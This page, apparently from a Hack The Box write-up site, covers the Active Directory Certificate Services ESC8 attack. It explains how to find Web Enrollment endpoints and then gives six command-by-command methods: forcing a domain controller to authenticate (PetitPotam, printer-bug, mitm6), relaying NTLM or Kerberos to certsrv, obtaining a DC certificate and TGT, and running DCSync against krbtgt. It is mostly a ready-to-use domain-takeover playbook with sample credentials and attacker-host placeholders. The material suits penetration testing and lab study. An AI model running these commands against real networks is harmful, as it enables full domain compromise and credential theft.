~/bokkapig
hack the box machine writeups
← cd ..

Active Directory - Certificate ESC8

contents
ad-adcs-esc08.md

Web Enrollment Endpoint#

Probe the endpoint by sending a request to:

http://<webserver-ip>/certsrv/certfnsp.aspx

A valid enrollment endpoint will respond with NTLM/Negotiate authentication headers (WWW-Authenticate).

The Web Enrollment role does not need to run on the CA itself; it can be hosted on any IIS server configured for delegation to the target CA.

In high-traffic environments, Web Enrollment is commonly deployed on a dedicated IIS server to offload traffic from the CA.

When CA Web Enrollment is installed on a non-CA server, that server acts as an enrollment registration authority. The target CA is selected by CA name or computer name. — Microsoft Docs

Certipy Blind Spot#

Certipy does not enumerate Web Enrollment on remote IIS servers. It only inspects the CA host. It also does not verify whether a delegated Web Enrollment server is bound to the CA.

Web Enrollment    HTTP        Enabled: False    HTTPS        Enabled: False

False on both means the CA host is not running Web Enrollment but a separate IIS server may still expose it.

ESC8 - Web Enrollment Relay#

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require SecureAuthCorp/impacket PR #1101

  • Version 1: NTLM Relay + Rubeus + PetitPotam

    impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcsimpacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate# For a member server or workstation, the template would be "Computer".# Other templates: workstation, DomainController, Machine, KerberosAuthentication# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRNgit clone https://github.com/topotam/PetitPotampython3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IPpython3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IPpython3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local# Use the certificate with rubeus to request a TGTRubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /pttRubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt# Now you can use the TGT to perform a DCSyncmimikatz> lsadump::dcsync /user:krbtgt

  • Version 2: NTLM Relay + Mimikatz + Kekeo

    impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController# Mimikatzmimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth# Kekeokekeo> base64 /input:onkekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt# Mimikatzmimikatz> lsadump::dcsync /user:krbtgt

  • Version 3: Kerberos Relay

    # Setup the relaysudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine# Run mitm6sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v

  • Version 4: ADCSPwn - Require WebClient service running on the domain controller. By default this service is not installed.

    https://github.com/bats3c/ADCSPwnadcspwn.exe --adcs <cs server> --port [local port] --remote [computer]adcspwn.exe --adcs cs.pwnlab.localadcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txtadcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local# ADCSPwn argumentsadcs            -       This is the address of the AD CS server which authentication will be relayed to.secure          -       Use HTTPS with the certificate service.port            -       The port ADCSPwn will listen on.remote          -       Remote machine to trigger authentication from.username        -       Username for non-domain context.password        -       Password for non-domain context.dc              -       Domain controller to query for Certificate Templates (LDAP).unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .output          -       Output path to store base64 generated crt.

  • Version 5: Certipy ESC8

    certipy relay -ca 172.16.19.100

  • Version 6: Kerberos Relay (self relay in case of only one DC)

    # Add dns entry with the james forshaw's trickdnstool.py -u "domain.local\user" -p "password" -r "computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.10.10" --action add "10.10.10.11" --tcp# Coerce kerberos with petit potam on dns entrypetitpotam.py -u 'user' -p 'password' -d domain.local 'computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' computer.domain.local# relay kerberospython3 krbrelayx.py -t 'http://computer.domain.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'COMPUTER$' -ip 10.10.10.10

References#